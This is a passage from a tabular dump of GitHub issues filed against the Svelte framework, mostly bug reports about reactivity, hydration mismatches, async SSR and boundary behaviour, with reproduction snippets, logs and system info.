    Brave Browser: 139.1.81.137
    Chromium: 141.0.7390.54
    Firefox: 143.0.4
    Firefox Developer Edition: 143.0.4
  npmPackages:
    @sveltejs/adap... [TRUNCATED]",,2025-10-09T13:04:32Z,2025-10-09T16:43:42Z,2
sveltejs/svelte,3496866603,`:this` CSS pseudoclass for selecting the component itself,"### Describe the problem

In Svelte we can use `:global` inside scoped styles to create CSS selectors that influence child components and elements:
```ts
<div class=""foo"">
  {@render children()}
</div>

<style>
  .foo :global(span) {
    color: red;
  }
</style>
```
This is wonderful, but demands that we specify an element in the component as a selector. However sometimes we would like to create a deep selector without a surrounding element. 

When using headless UI libraries like [Bits UI](https://www.bits-ui.com/), its natural to create wrapper components. In such wrappers, I'd like to select child elements from the library, _without_ selecting anything _outside_ the component. But I would _also_ like to avoid adding superfluous wrapper elements around them.

I could pass a class into the component to narrow the selector; however, this relies on the fact the library offers a prop for this, which may not always be the case. To make things worse, I can still accidentally repeat the selector elsewhere if I happen to pass the same class again.

See [this REPL for a demonstration](https://svelte.dev/playground/81d0c410c7324922b70e3aaabd038ac9?version=5.39.11#H4sIAAAAAAAAA9VVTW-cMBD9KyNUdVspgHolpFLTUy9R1ainkIOBWdaKsZE9ZLNC_Pfa4KWEZaOoH1J7Mh7Pe2PP8zNdIFmNQRIktOMGDAosSOngIthygSZI7rqADo3LcAEb9_mfmiYyjyjIxXJmcC1eKEkoydIEqSk0b-hjJjPidaM0wa0dBV63RErCVqsaNlE8D3qizQzz2TIyLlEvYIv4GlIwY7Bc4ubROSqTAB7ZgQcxA9eczHfu572nyW0wbPnmMpNp_POcMq1RtsOJ0_mxhkhGN-wBy5HwC-w1axrUkI_M-xiSSqiciUmSgSY-5XHh-a... [TRUNCATED]",,2025-10-08T20:53:42Z,2025-10-09T00:20:58Z,4
sveltejs/svelte,3496561163,Cannot have Proxy inside $state,"### Describe the bug

It seems like a `Proxy` inside `$state` is somehow lost.

```ts
let state = $state(new Proxy({ foo: 42 }, {
	set(target, prop, value) {
		console.log(`Setting ${prop} to ${value}`);
		target[prop] = value;
		return true;
	}
}));

state.foo++; // The Proxy set handler is not invoked
```

### Reproduction

https://svelte.dev/playground/246e42e88fbb434c96e7e8b65667d6e6?version=5.39.11

As you can see, a `Proxy` inside `$state` does not work, while `$state` inside a `Proxy` works.

### Logs

```shell

```

### System Info

```shell
That of the latest Svelte Playground
```

### Severity

annoyance",,2025-10-08T19:03:21Z,2025-10-08T21:13:05Z,2
sveltejs/svelte,3491276114,SSR without pending boundary causes reactivity loss,"### Describe the bug

Async SSR without a pending boundary causes reactivity loss somehow

### Reproduction

Wasn't able to wittle it down more yet, but [this repro](https://github.com/timootten/SvelteKit-Remotefunctions) shows the issue: the remote function is SSR'd, stuff hydrates, but updates are not recognized anymore (remote functions themselves work correctly as seen in the network tab or when you disable SSR)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-10-07T12:25:05Z,2025-10-07T16:00:07Z,2
sveltejs/svelte,3490780055,@const reactivity degradation in 5.39.8,"### Describe the bug

I think it'll be easier to see than to describe. Compare output between 5.39.7 and 5.39.8.

### Reproduction

[REPL](https://svelte.dev/playground/098f25d4a7b4436487f49c3c593f80cb?version=5.39.8#H4sIAAAAAAAAE4VUy47TMBT9lasMUjtSnzBCkKZlYDazgQUzEgvCwo1vWgvXjmx3plWIxJ4VEnv-jS_gE7h20jbtDLCJnPs4PvdxXEaKrTCKo_fIMifuhNtCYfRc4irqRbmQaKP4Yxm5beGjvIHsTc7rohjYO5TO2-bM4mP2TCuHyhFMlNjMiMKBZGoxTSNn02iWqtSJVaGNgyuKZEKhgdzoFaTRYLg3NXhp1IovQau3eq0cVLuMdlSqACQ64MIWkm3fao4xdBZG8A58gY52SzQdmMIT65jDbu05n-zS7JIZfCN19vnG-ylVcIkh1S71fTgsBeeo2iAhxoOkzoMI-4EJJ9Timkl5CMuZtHhOQXRXU0O3ew7TGZSBubPobsUK9frETp5jWoRZ06n9VQ_Go5FHdhV9k2Hdcd9lVZ5ZJYriqLRuCSu0li0QqvPKpyVc3EEmmbU0obne1MHNoMhtndFqMbvxVph7DLqktjURBDArG9QqGfrfANycymFDo6pJibw9IZhOp82QKt-d8pL2x1IjVa4DYyr4QQumuybAq5YTYlgrjjmtDw93pS7ctoeqasK3Swy2uhrAjbC0mT56KPJAIjls5j55Wh5wZslhUUOFIY_ab91W4sxDDHwrS38CmGvD0cQwLjbAmV0ih2xtDInkSkttJnVUwTinxaGwp8Vm0s7sG8bF2h55VswshIrhBWGOgi0wH4R2kFIyjxzD2RhfjvJ84r1-bjU9UqnDjYtiZ9ZY9f6i9lMtHmv-Ee9_lQ9QD7dsjbfyKqEXqLBdL6OjDT7azWx3YQOVLJ_N9iSSIf3V-nowc9-u8pLazdvzPCiBlH6NUur6TTmM_vfP7986tUwIIEaScHXCibY4w6WWPLB6p1t1_fr6A-4RmmsVvT403J0mCK_emb1cjnZnXyp1KqczTf6i2AzHgwtYi75lyvYtGpH3wG6tw1V_LSbN_FuM_HtZsIxe-BhGg-eTk53510p8oj8m5L1QPIrD41X9AW6rAyE5BgAA)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-10-07T09:55:18Z,2025-10-07T15:11:40Z,1
sveltejs/svelte,3489957092,`hydration_mismatch`,"### Describe the bug

I honestly don't know what to title this. Please edit the title as-needed.

```svelte
<script lang=""ts"">
  import { getIds } from './data.remote';
</script>

<!-- hydration_mismatch -->
<ol>
  {#each await getIds() as id (id)}
    <li>{id}</li>
  {/each}
</ol>

<!-- no warning -->
<ol>
  <svelte:boundary>
    {#each await getIds() as id (id)}
      <li>{id}</li>
    {/each}
  </svelte:boundary>
</ol>

<!-- no warning -->
{#each await getIds() as id (id)}
  <li>{id}</li>
{/each}
```


### Reproduction

https://github.com/hyunbinseo/svelte-16905

### Logs

```shell

```

### System Info

```shell
System:
  OS: Windows 11 10.0.26100
  CPU: (8) x64 Intel(R) Core(TM) Ultra 7 258V
  Memory: 6.07 GB / 31.48 GB
Binaries:
  Node: 24.9.0 - C:\Users\hyunb\AppData\Local\fnm_multishells\10736_1759812622707\node.EXE
  npm: 11.6.0 - C:\Users\hyunb\AppData\Local\fnm_multishells\10736_1759812622707\npm.CMD
  pnpm: 10.18.1 - C:\Users\hyunb\AppData\Local\fnm_multishells\10736_1759812622707\pnpm.CMD
  Deno: 2.4.0 - C:\Users\hyunb\.deno\bin\deno.EXE
Browsers:
  Chrome: 140.0.7339.210
  Edge: Chromium (140.0.3485.54)
  Firefox: 143.0.4 - C:\Program Files\Mozilla Firefox\firefox.exe
```

### Severity

blocking an upgrade",,2025-10-07T05:01:02Z,2025-10-07T16:00:06Z,1
sveltejs/svelte,3489638818,Async function declared in `$derived()` results in `HierarchyRequestError` on hydration from SSR,"### Describe the bug

It seems that #16806 introduced a regression for traditional `{#await}` blocks. Calling an async function declared with `$derived` results in hydration from SSR failing catastrophically.

### Reproduction

[On StackBlitz](https://stackblitz.com/edit/sveltejs-kit-template-default-qcnhv8eu?file=src%2Flib%2FAsyncValue.svelte) due to specifically happening in hydration

### Logs

```shell
Uncaught (in promise) HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.39.4 => 5.39.4
```

### Severity

blocking an upgrade",,2025-10-07T01:44:12Z,2025-10-25T18:03:14Z,1
sveltejs/svelte,3484651915,Separately declared property can be accessed in rest property but doesn't show up when inspecting,"### Describe the bug

The bug refers to this context: https://svelte.dev/tutorial/svelte/spread-props

The intuitive behavior after `let { name, ...stuff } = $props();` is to not be able to access `stuff.name`.
As expected, looking at the keys of the `stuff` object, `name` doesn't show up.

This has been discussed in this Discord thread: https://discord.com/channels/457912077277855764/1424084421711237241

Another person described that:
> Looking at the output, both `name` and `stuff.name` are compiled to `$$props.name`:
`$.set_text(text_3, $$props.name);    $.set_text(text_4, $$props.name);`

<img width=""1453"" height=""621"" alt=""Image"" src=""https://github.com/user-attachments/assets/206d2344-6a12-4cce-b188-8b9e11b49aaf"" />

### Reproduction

1. A component that accepts props and destructures them in at least one variable and a rest property:
```svelte
<script>
	let {name, version, ...stuff} = $props()
</script>
```
2. Passing an object to the component where it is used:
```svelte
<script>
	import Component from './Component.svelte'
	const pkg = {
		name: 'svelte',
		version: 5,
		description: 'blazing fast',
		website: 'https://svelte.dev'
	};
</script>

<Component {...pkg}/>
```
3. Accessing the individually declared property on the rest prop:
<p>
	<!-- Returns true -->
	<code>name === stuff.name</code>: {name === stuff.name}
</p>
<p>
	<!-- Returns false -->
	<code>'name' in stuff</code>: {'name' in stuff}
</p>

https://svelte.dev/playground/a601dd33221b45d284c14012951818bb

... [TRUNCATED]",,2025-10-05T10:17:12Z,2025-10-07T14:21:44Z,0
sveltejs/svelte,3482808126,Incorrect server code generation for derived via alternative `this` reference,"### Describe the bug

When referring to a derived property through an alternative reference to `this`, the server side code generation will fail to call the derived function when attempting to access the derived value.

### Reproduction

Reproduction in playground: https://svelte.dev/playground/8e9e3d06e5a54c599c6480121bd77231?version=5.39.8

Same code as linked but explained: If we have the following class that has a derived property which we access via both `this` and an alternative reference, `self`

```typescript
class Foo {
	#derived = $derived(1);
	
	constructor(value) {
		self = this;

		// Correctly calls #derived()
		console.log(this.#derived)

		// Incorrect, does not call #derived
		console.log(self.#derived)
	}
}
```

Then the server generated code will look like this

```typescript
class Foo {
	#derived = $.derived(() => 1);

	constructor(value) {
		self = this;

		// Correctly calls #derived()
		console.log(this.#derived());

		// Incorrect, does not call #derived
		console.log(self.#derived);
	}
}
```

The error is that the line `console.log(self.#derived);` should instead be `console.log(self.#derived());`.

This also applies to `$derived.by`

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.15 Arch Linux
    CPU: (12) x64 AMD Ryzen 5 2600 Six-Core Processor
    Memory: 7.08 GB / 15.54 GB
    Container: Yes
    Shell: 5.3.3 - /bin/bash
  Binaries:
    Node: 22.17.0 - ~/.nvm/versions/node/v22.17.0/bin/node
    Yarn: 1.22.22 - /usr/bin/... [TRUNCATED]",ssr,2025-10-03T23:05:27Z,2025-10-07T14:29:35Z,0
sveltejs/svelte,3498889407,Pending boundary inside async component never mounts result,"### Describe the bug

An example as simple as this is broken in SvelteKit:
```svelte
<script>
  await Promise.resolve();
</script>

<svelte:boundary>
  <div>Loaded</div>
  {#snippet pending()}
    Loading
  {/snippet}
</svelte:boundary>
```

The ""Loaded"" text never appears.

### Reproduction

[reproduction](https://stackblitz.com/edit/sveltejs-kit-template-default-vhdwzrwv?file=src%2Froutes%2F%2Bpage.svelte)

[works on sandbox](https://svelte.dev/playground/hello-world?version=5.39.8#H4sIAAAAAAAAA22NsWrDQBBEf0VsGgmE1Z8PQ7oUKdJHKc7etVk47x23aylG6N_NKQkpkm54vJlZQMKVwMELxZiaOZWITUvIRthBD2eOpODeF7B7rl4F0P-0nnPe6UTRKjsGpf_4KYmRmIIDr6fC2Q6jjBbmwNa8lXRlpV0hTXGittuP4odfTfzXjjumm2Ao963rkafDawpI6IeaK1yeVDhnsiaTIMul7dbKR6smy2WThm9p3X7-bEMPRp8GzsqN1o8eLHCcWRDcOUSl9QGtZruyMgEAAA)

### Logs

```Shell

```

### System Info

```Shell
System:
    OS: Linux 6.13 Fedora Linux 43 (Forty Three Prerelease)
    CPU: (24) x64 AMD Ryzen 9 7900 12-Core Processor
    Memory: 16.89 GB / 30.48 GB
    Container: Yes
    Shell: 4.0.2 - /bin/fish
  Binaries:
    Node: 22.19.0 - ~/.local/share/pnpm/node
    npm: 10.9.3 - ~/.local/share/pnpm/npm
    pnpm: 10.18.0 - ~/.local/share/pnpm/pnpm
    bun: 1.2.20 - ~/.bun/bin/bun
  Browsers:
    Chrome: 141.0.7390.54
  npmPackages:
    @sveltejs/adapter-cloudflare: catalog: => 7.2.4 
    @sveltejs/kit: catalog: => 2.43.8 
    @sveltejs/vite-plugin-svelte: catalog: => 6.2.1 
    svelte: catalog: => 5.39.8 
    vite: catalog: => 7.1.9
```

### Severity

blocking an upgr... [TRUNCATED]",,2025-10-03T22:07:28Z,2025-11-02T21:11:40Z,2
sveltejs/svelte,3482224542,Override derived array using push is not reactive,"### Describe the bug

Pushing to a derived array is not reactive:

```svelte
<script>
	let derived = $derived([""initial""]);
</script>

<p>{derived}</p>
<button onclick={
	() => derived.push(""more"") // Not reactive
}>push</button>

<button onclick={
	() => derived = [...derived, ""spread""] // Reactive
}>spread</button>

```

### Reproduction

https://svelte.dev/playground/1f9c9d543286412695fe03bdfe0ab73b?version=5.39.8

### Logs

```shell

```

### System Info

```shell
The latest Playground
```

### Severity

annoyance",,2025-10-03T19:00:35Z,2025-10-03T19:09:02Z,3
sveltejs/svelte,3481705626,`hydration_mismatch` when `pending` snippet is passed as prop to `<svelte:boundary>`,"### Describe the bug

`hydration_mismatch` error shows up when passing the `pending` snippet as a prop to `<svelte:boundary>` instead of as a child.

I.e. this works

```svelte
<svelte:boundary>
  {@const _ = await new Promise((r) => setTimeout(r, 2000))}
  <p>Content has now loaded</p>

  {#snippet pending()}
    loading...
  {/snippet}
</svelte:boundary>
```

While this _does not_

```svelte
{#snippet pending()}
  loading...
{/snippet}

<svelte:boundary {pending}>
  {@const _ = await new Promise((r) => setTimeout(r, 2000))}
  <p>Content has now loaded</p>
</svelte:boundary>
```

Furthermore. The latter briefly shows `undefined` right after the pending snippet, which quickly disappears again.

### Reproduction

https://stackblitz.com/github/tinggaard/boundary-pending-prop

### Logs

```Shell
[svelte] hydration_mismatch
```

### System Info

```Shell
System:
    OS: Linux 6.16 Arch Linux
    CPU: (16) x64 AMD Ryzen 7 8845HS w/ Radeon 780M Graphics
    Memory: 14.68 GB / 27.15 GB
    Container: Yes
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.8.0 - /usr/bin/node
    npm: 11.6.1 - /usr/bin/npm
    pnpm: 10.17.1 - /usr/bin/pnpm
  Browsers:
    Brave Browser: 139.1.81.137
    Chromium: 140.0.7339.207
  npmPackages:
    @sveltejs/adapter-auto: ^6.1.1 => 6.1.1
    @sveltejs/kit: 2.43.8 => 2.43.8
    @sveltejs/vite-plugin-svelte: ^6.2.1 => 6.2.1
    svelte: ^5.39.8 => 5.39.8
    vite: ^7.1.9 => 7.1.9
```

### Severity

annoyance

### Additional Information

_No response_",,2025-10-03T15:04:05Z,2025-10-16T15:02:57Z,9
sveltejs/svelte,3480136931,Cannot dynamically import and await a Svelte component in SSR,"### Describe the bug

```svelte
{#if true}
  {@const Component = (await import('./Hello.svelte')).default}
  <Component></Component>
{/if}
```

```
Parse failure: await isn't allowed in non-async function
At file: /src/routes/(examples)/svelte-kit-dynamic-import/+page.svelte:74:23

/src/routes/(examples)/svelte-kit-dynamic-import/+page.svelte:74:23

72 |  				$$renderer.push('<!--\[-->');
73 |  
74 |  				const Component = (await $.save(import(""/src/routes/(examples)/svelte-kit-dynamic-import/Component.svelte"")))().d...
   |                         ^
75 |  
76 |  				$$renderer.push(\`<!---->\`);
```

### Reproduction

https://svelte.dev/playground/31f1a4b7d7c1482ea0a9d1ccd8cd2382?version=5.39.8

```js
export default function App($$renderer, $$props) {
  $$renderer.component(($$renderer) => {
    if (true) {
      $$renderer.push('<!--[-->');

      const Component = (await $.save(import('./Hello.svelte')))().default;
```


### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2025-10-03T07:43:01Z,2025-10-07T14:27:32Z,3
sveltejs/svelte,3472698802,State in `onblur` handler is undefined after navigation,"### Describe the bug

Relevant issues:

- https://github.com/sveltejs/svelte/issues/14911
- https://github.com/sveltejs/svelte/issues/13684

Relevant fixes:
- https://github.com/sveltejs/svelte/pull/13737
- https://github.com/sveltejs/svelte/pull/13694

I'm not really sure what the correct ""mental model"" is of this behaviour - but my two cents is that it feels wrong. It's really difficult to spot, as there's no typing that tells me that this can happen. The type-definition of `let { data } = $props()` is: 

```ts
let data: {
    state: {
        message: string;
    };
}
```

How can one know that state can be undefined from this.

### Reproduction

Github repro: https://github.com/MathiasWP/sveltekit-input-onblur-async-state-bug

Video:
https://github.com/user-attachments/assets/278db046-f4ec-4463-8b1c-c0158dbb23f3


### Logs

```shell
+page.svelte?t=1759308998689:23 Uncaught TypeError: Cannot set properties of undefined (setting 'message')
    at HTMLInputElement.<anonymous> (+page.svelte?t=1759308998689:23:93)
    at events.js:61:21
    at without_reactive_context (shared.js:44:10)
    at HTMLInputElement.target_handler (events.js:60:11)
    at remove_effect_dom (effects.js:524:8)
    at destroy_effect (effects.js:471:3)
    at destroy_effect_children (effects.js:435:4)
    at destroy_effect (effects.js:475:2)
    at destroy_effect_children (effects.js:435:4)
    at destroy_effect (effects.js:475:2)
```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (8) a... [TRUNCATED]",,2025-10-01T09:10:19Z,2025-10-01T15:46:06Z,2
sveltejs/svelte,3467327760,Can't use `bind:checked` on radio input,"### Describe the bug

<img width=""1453"" height=""550"" alt=""Image"" src=""https://github.com/user-attachments/assets/79437cc4-bade-41b9-8287-6200115462ba"" />

I should be able to use `bind:checked` on radio inputs but I can't.

### Reproduction

https://svelte.dev/playground/2517d8b9c0b94cf1bf850f2f96b71dc9?version=5.39.6

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.7.1
    CPU: (10) arm64 Apple M1 Pro
    Memory: 113.45 MB / 16.00 GB
    Shell: 4.0.2 - /opt/homebrew/bin/fish
  Binaries:
    Node: 24.4.0 - ~/Library/pnpm/node
    Yarn: 1.22.19 - ~/Library/pnpm/yarn
    npm: 11.4.2 - ~/Library/pnpm/npm
    pnpm: 10.10.0 - ~/Library/pnpm/pnpm
    Deno: 2.3.1 - /opt/homebrew/bin/deno
  Browsers:
    Chrome: 140.0.7339.208
    Chrome Canary: 142.0.7441.0
    Safari: 26.0.1
  npmPackages:
    svelte: ^5.39.6 => 5.39.6
```

### Severity

blocking all usage of svelte",documentation,2025-09-30T02:57:13Z,2025-10-01T15:56:33Z,3
sveltejs/svelte,3466997165,Incorrect aria-label warning for buttons with a title attribute,"### Describe the bug

**Expected behavior**

The `a11y_consider_explicit_label` warning should not show for a button that has an accessible name.

**Actual behavior**

When a button has a `title` attribute the `a11y_consider_explicit_label` compiler warning is emitted, even though in this case the title attribute value will be used as the button's accessible name.


### Reproduction


```html
<button type=""button"" title=""Example button"">
  <svg width=""40"" height=""40""><!-- whatever --></svg>
</button>
```

In the above example, the button **does** have an accessible name, so the warning is incorrect:

<img width=""678"" height=""232"" alt=""Image"" src=""https://github.com/user-attachments/assets/8f10905e-607e-4ba8-b6e2-5ff0bfe0eb33"" />

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M3 Pro
    Memory: 150.44 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - ~/.nvm/versions/node/v22.19.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v20.19.0/bin/yarn
    npm: 10.9.3 - ~/.nvm/versions/node/v22.19.0/bin/npm
    pnpm: 10.15.1 - ~/.nvm/versions/node/v20.19.0/bin/pnpm
  Browsers:
    Brave Browser: 139.1.81.131
    Chrome: 140.0.7339.210
    Safari: 18.6
  npmPackages:
    svelte: ^5.38.8 => 5.38.8
```

### Severity

annoyance","good first issue,a11y",2025-09-29T23:36:44Z,2025-09-30T15:54:15Z,5
sveltejs/svelte,3460685197,`$effect` doesn't trigger for awaited props on first mount,"### Describe the bug

Given there's two components

`app.svelte`:
  ```svelte
<script>
	import MyComponent from ""./my-component.svelte"";

	let a = $state(1);
	let b = $state(2);

	async function add(a, b) {
		await new Promise((f) => setTimeout(f, 500)); // artificial delay
		return a + b;
	}
</script>

<input type=""number"" bind:value={a}>
<input type=""number"" bind:value={b}>

<MyComponent data={await add(a, b)} />
```
`my-component.svelte`:
```svelte
<script>
	let { data } = $props()

	console.log(""component data"", data);

	$effect(() => {
		console.log(""effect data"", data)
	});
</script>

{JSON.stringify(data)}
```

On first mount, only ""component data"" gets logged, the effect doesn't get triggered until one of its dependents (`a` or `b`) changes, which is odd because the template effect (for the `JSON.stringify(data)` call) doesn't have this problem


### Reproduction

Look in the [PLAYGROUND](https://svelte.dev/playground/hello-world?version=5.39.6#H4sIAAAAAAAAE42RQWvcMBCF_8ow5CBTs04LvXjXC6WXkENbaG9VD7I9CgJ5ZKRxtovxfy-2d7O4JJCT4OnNY-Z9I7LpCEt8IO8DnEL0LShqnVCbYY7WeUpY_h5Rzv3smwXMr1Nf-n6XnsnLrNUm0Wt6E1iIJWGJh9RE18tRsxbX9SEKfA1dH5hYwMbQgcZd8SJdMjTuNc8jngQMVHCXxAipj9n-qtY39VN2cZt05gbswI24wGDaVpkc6gzG-VeLORknwHSCHzF0LpFSNoPqCInkl-soDKJsDp_v77NsD0UBJoqzrnHGQ0venNeYSDJEBgMfoF72mTQfituhfHDcDwJzgZVGHrqaokaoHbfls_EDVaOZju_y1dOaeCutNWKqcT3l5cIJiqNmzFHor2ApcaApfwPh_2VvQb7y-wbOmcK4rAPTDKOPoU8qW1E0gVPwtPPhSWlsNttrzJf3iu2OrKVGlFpYXFhtA1bHdnppfs7YdD8-_vz-bZckOn5y9qwW67Rt5k-OYpw_OW6xtMYnm... [TRUNCATED]",,2025-09-27T20:21:03Z,2025-09-28T12:38:03Z,0
sveltejs/svelte,3460075366,Parse failure: await isn't allowed in non-async function when using await with const inside Component,"### Describe the bug

Similar to #16811 

```svelte
// CustomBoundary.svelte
<script lang=""ts"">
	import type { Snippet } from 'svelte';

	type Props = {
		children?: Snippet;
	};

	let { children }: Props = $props();
</script>

<svelte:boundary>
	{@render children?.()}

	{#snippet pending()}
		loading...
	{/snippet}

	{#snippet failed(error, reset)}
		failed
	{/snippet}
</svelte:boundary>
```
```svelte
// +page.svelte
<script>
import CoustomBoundary from '../lib/CustomBoundary.svelte';
async function getOne() {
        return 1;
}
</script>

<CoustomBoundary>	
	{@const one = await getOne()}
	{one}
</CoustomBoundary>
```

### Reproduction

https://www.sveltelab.dev/772akdg6216p97s

### Logs

```shell
[vite] (ssr) Error when evaluating SSR module /src/routes/+page.svelte: Parse failure: await isn't allowed in non-async function
At file: /src/routes/+page.svelte:17:18
  File: /src/routes/+page.svelte:17:18
  15 |                          CoustomBoundary($$renderer, {
  16 |                                  children: $.prevent_snippet_stringification(($$renderer) => {
  17 |                                          const one = (await $.save(getOne()))();
     |                    ^
  18 |  
  19 |                                          $$renderer.push(`<!---->${$.escape(one)}`);
```

### System Info

```shell
N/A
```

### Severity

blocking an upgrade",,2025-09-27T10:01:08Z,2025-09-29T15:06:24Z,0
sveltejs/svelte,3460045141,Parse failure: await isn't allowed in non-async function when using await with @const inside svelte:boundary,"### Describe the bug

Similar to #16811 

```svelte
<script>
  async function getOne() {
    return 1;
  }
</script>

<svelte:boundary>
	{@const one = await getOne()}
</svelte:boundary>
```

However, with pending snippet, it works.
```svelte
<script>
  async function getOne() {
    return 1;
  }
</script>

<svelte:boundary>
	{@const one = await getOne()}
        {#snippet pending()}
		<p>loading...</p>
	{/snippet}
</svelte:boundary>
```


### Reproduction

https://www.sveltelab.dev/bz2hl12ptw022ry

### Logs

```shell
[vite] (ssr) Error when evaluating SSR module /src/routes/+page.svelte: Parse failure: await isn't allowed in non-async function
At file: /src/routes/+page.svelte:17:17
  File: /src/routes/+page.svelte:17:17
  15 |  
  16 |                          {
  17 |                                  const one = (await $.save(getOne()))();
     |                   ^
  18 |                          }
  19 |
```

### System Info

```shell
N/A
```

### Severity

blocking an upgrade",,2025-09-27T09:31:58Z,2025-10-01T10:26:15Z,0
sveltejs/svelte,3459400689,Simultaneously `isRemoteRequest: false` and `route.id: null` in remote function during SSR,"### Describe the bug

When you call a remote function during SSR, the `event.isRemoteRequest` is false, but the `route.id` is still null.

Probably either `event.isRemoteRequest` should be `true` if it's not part of the same request, or `route.id` should match the `route.id` from the hook if it _is_ still the same request.

### Reproduction

You'll notice in the console that the hook shows a `route.id` of `/(home)` and the remote function shows a `route.id` of null. However, both show `isRemoteRequest` is false.

https://stackblitz.com/edit/sveltejs-kit-template-default-k6fjdwc3?file=src%2Fhooks.server.ts,src%2Froutes%2F(test)%2Ftest.remote.js

### Logs

```shell
hook:isRemoteRequest false
hook:route.id /(test)
hook:url.pathname /

remote:isRemoteRequest false <-- this doesn't make sense
remote:route.id null
remote:url.pathname /

If the URL was `/test`, you'd see:

hook:isRemoteRequest false
hook:route.id /(test)/test
hook:url.pathname /test

remote:isRemoteRequest false <-- this doesn't make sense
remote:route.id null
remote:url.pathname /
```

### System Info

```shell
System:
    OS: macOS 26.0
    CPU: (16) arm64 Apple M4 Max
    Memory: 944.73 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.12.0 - ~/.nvm/versions/node/v22.12.0/bin/node
    npm: 10.9.0 - ~/.nvm/versions/node/v22.12.0/bin/npm
    pnpm: 10.11.0 - ~/.nvm/versions/node/v22.12.0/bin/pnpm
    bun: 1.2.20 - ~/.bun/bin/bun
  Browsers:
    Safari: 26.0
  npmPackages:
    svelte: ^5.39.6 => 5.39.6... [TRUNCATED]",,2025-09-26T23:51:24Z,2025-09-27T00:35:03Z,1
sveltejs/svelte,3457376282,Guard check on variable doesn't work as expected,"### Describe the bug

I'm experiencing a very strange bug where a variable check for `undefined` is seemingly ignored. This causes lots of issues down the line.

<img width=""533"" height=""35"" alt=""Image"" src=""https://github.com/user-attachments/assets/68f0bb5d-a1f3-4602-84d5-cc1ad3815cb5"" />

<img width=""171"" height=""30"" alt=""Image"" src=""https://github.com/user-attachments/assets/054ee0f8-9606-4350-9aeb-4c3a9003b527"" />
(the first if doesn't need to be this long but wanted to make sure)
<img width=""1115"" height=""109"" alt=""Image"" src=""https://github.com/user-attachments/assets/3f73fb3f-9e5c-4794-a5b7-8cb13fcf3930"" />

This issue seems to be introduced in version `5.38.2` since it works without issues in version `5.38.1`. Its still happening in the most recent version.

### Reproduction

Unfortunately after lots of trying I'm not able to reproduce this issue in a simpler form yet.

### Logs

```shell
Chrome:

error-handling.js:68 Uncaught TypeError: Cannot read properties of undefined (reading 'depth')

Firefox:

Uncaught TypeError: can't access property ""depth"", $.get(...) is undefined
```

### System Info

```shell
System:
    OS: Windows 11 10.0.22631
    CPU: (28) x64 13th Gen Intel(R) Core(TM) i7-13850HX
    Memory: 33.43 GB / 63.61 GB
  Binaries:
    Node: 22.13.1 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.2 - C:\nvm4w\nodejs\npm.CMD
  Browsers:
    Edge: Chromium (140.0.3485.54)
    Internet Explorer: 11.0.22621.3527

Tested on:
* Google Chrome Version 140.0.7339.186 (Offic... [TRUNCATED]",,2025-09-26T12:24:08Z,2025-10-21T08:07:53Z,3
sveltejs/svelte,3454688011,suggestion: Allow for configuration of the maximum number of queued effects before infinite_loop_guard() is called.,"I ran into an issue with a mapping project where a large number of components (thousands) are affected by an effect (infrequently). 

It would be great to be able to increase the number of queued effects before the infinite loop guard comes in to effect (pun intended):

Currently:

```
if (flush_count++ > 1000) {
	// other code

	infinite_loop_guard();
}
```


https://github.com/sveltejs/svelte/blob/f0cede678200a3da2fbed6e84245dbef9ec0ecec/packages/svelte/src/internal/client/reactivity/batch.js#L519",,2025-09-25T18:32:00Z,2026-03-16T15:05:18Z,4
sveltejs/svelte,3454188392,Global transition bug since 5.36.0,"### Describe the bug

There is a bug with transitions after 5.36.0 where having global transitions inside another transitioning element would not actually transition out the child elements and keep the main element in an ""inert"" state but keep the element there. Usually it would do a transition out and then remove the element.

### Reproduction

Working version: https://svelte.dev/playground/35ef0c0cd4d34512adb64a7d52f9be33?version=5.35.7
Broken version: https://svelte.dev/playground/35ef0c0cd4d34512adb64a7d52f9be33?version=5.36.0

Click ""next"" on either of the lines and it should do a text animation cycling through lines. The broken version keeps the prior text instead of actually doing the transition. This might be a weird way of doing this kind of animation, but at the very least it shouldn't just stop doing transitions.

### Logs

```shell

```

### System Info

```shell
REPL
```

### Severity

annoyance",transition/animation,2025-09-25T15:42:06Z,2025-10-25T17:55:57Z,1
sveltejs/svelte,3450124744,Array reactivity is not working correctly,"### Describe the bug

An array variable is not reactive when using the variable directly.
But the weird thing is, it does work with `$inspect`, but not with `$effect`.

### Reproduction

[Playground demo](https://svelte.dev/playground/ca088fc3e2d442d0b340f49e0c493156?version=5.39.5)

### System Info

```shell
Svelte 5.39.5, but every version in 5.x.x has this issue.
```

### Severity

annoyance",,2025-09-24T16:26:57Z,2025-09-24T17:21:15Z,7
sveltejs/svelte,3447567252,Async effects/promises not immediately flushing,"### Describe the bug

I have run into a scenario where async code of any kind seems to not immediately be run/flushed. In other words `$effect.pending` will be stuck `> 0` and things like async `derived`s will not re-run even when the value they depend on changes. They will eventually be run if something else triggers a flush of pending promises.

I am not certain I have found the minimal reproduction, but after many hours I have narrowed it down to swapping out recursive dynamic components. 

### Reproduction

Reproduction: https://svelte.dev/playground/eee80b71655641e3b7e0eb5afcb93469?version=5.39.5

This reproduction shows a basic tree structure rendered by the Node component. The displayed Message component contains async work.

Click the ""Swap children"" button which will replace the existing Message with a pair of Messages nested one level deeper.

